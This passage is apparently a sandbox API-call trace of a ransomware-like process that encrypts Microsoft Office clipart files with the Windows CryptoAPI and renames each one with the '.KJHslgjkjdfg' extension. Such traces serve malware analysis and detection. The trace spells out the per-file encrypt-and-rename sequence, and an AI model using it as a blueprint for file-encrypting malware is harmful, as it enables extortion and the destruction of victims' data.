lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2026, lpOverlapped=0x0) returned 1 [0189.257] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030, dwBufLen=0x2030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030) returned 1 [0189.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.257] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2030, lpOverlapped=0x0) returned 1 [0189.257] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.257] SetEndOfFile (hFile=0x114) returned 1 [0189.259] GetProcessHeap () returned 0x2a0000 [0189.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.260] GetProcessHeap () returned 0x2a0000 [0189.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.kjhslgjkjdfg")) returned 1 [0189.261] CloseHandle (hObject=0x114) returned 1 [0189.261] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0189.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.262] GetProcessHeap () returned 0x2a0000 [0189.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.262] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.262] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.264] GetProcessHeap () returned 0x2a0000 [0189.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.265] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.265] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.265] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.265] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.265] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.265] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.265] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x35b2, lpOverlapped=0x0) returned 1 [0189.266] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35c0) returned 1 [0189.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.266] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x35c0, lpOverlapped=0x0) returned 1 [0189.266] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.267] SetEndOfFile (hFile=0x114) returned 1 [0189.269] GetProcessHeap () returned 0x2a0000 [0189.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.269] GetProcessHeap () returned 0x2a0000 [0189.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.kjhslgjkjdfg")) returned 1 [0189.271] CloseHandle (hObject=0x114) returned 1 [0189.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0189.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.273] GetProcessHeap () returned 0x2a0000 [0189.273] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.274] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.274] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0189.276] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.276] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.276] GetProcessHeap () returned 0x2a0000 [0189.276] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.276] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.276] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.276] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.276] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.277] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0189.277] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30) returned 1 [0189.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.278] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b30, lpOverlapped=0x0) returned 1 [0189.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.278] SetEndOfFile (hFile=0x114) returned 1 [0189.280] GetProcessHeap () returned 0x2a0000 [0189.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.280] GetProcessHeap () returned 0x2a0000 [0189.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.kjhslgjkjdfg")) returned 1 [0189.282] CloseHandle (hObject=0x114) returned 1 [0189.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0189.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.284] GetProcessHeap () returned 0x2a0000 [0189.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.284] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.284] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.354] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.354] GetProcessHeap () returned 0x2a0000 [0189.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.355] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.355] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.355] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.355] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.355] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.355] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.355] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.355] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.355] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2242, lpOverlapped=0x0) returned 1 [0189.357] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2250, dwBufLen=0x2250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2250) returned 1 [0189.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.357] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2250, lpOverlapped=0x0) returned 1 [0189.357] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.357] SetEndOfFile (hFile=0x114) returned 1 [0189.360] GetProcessHeap () returned 0x2a0000 [0189.360] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.360] GetProcessHeap () returned 0x2a0000 [0189.360] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.kjhslgjkjdfg")) returned 1 [0189.362] CloseHandle (hObject=0x114) returned 1 [0189.362] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0189.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.365] GetProcessHeap () returned 0x2a0000 [0189.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.365] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.365] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0189.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.367] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.367] GetProcessHeap () returned 0x2a0000 [0189.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.367] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.367] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.367] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.367] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.368] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.368] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8f0e, lpOverlapped=0x0) returned 1 [0189.369] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f10) returned 1 [0189.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.370] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8f10, lpOverlapped=0x0) returned 1 [0189.370] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.370] SetEndOfFile (hFile=0x114) returned 1 [0189.373] GetProcessHeap () returned 0x2a0000 [0189.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.373] GetProcessHeap () returned 0x2a0000 [0189.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.373] MoveFileW 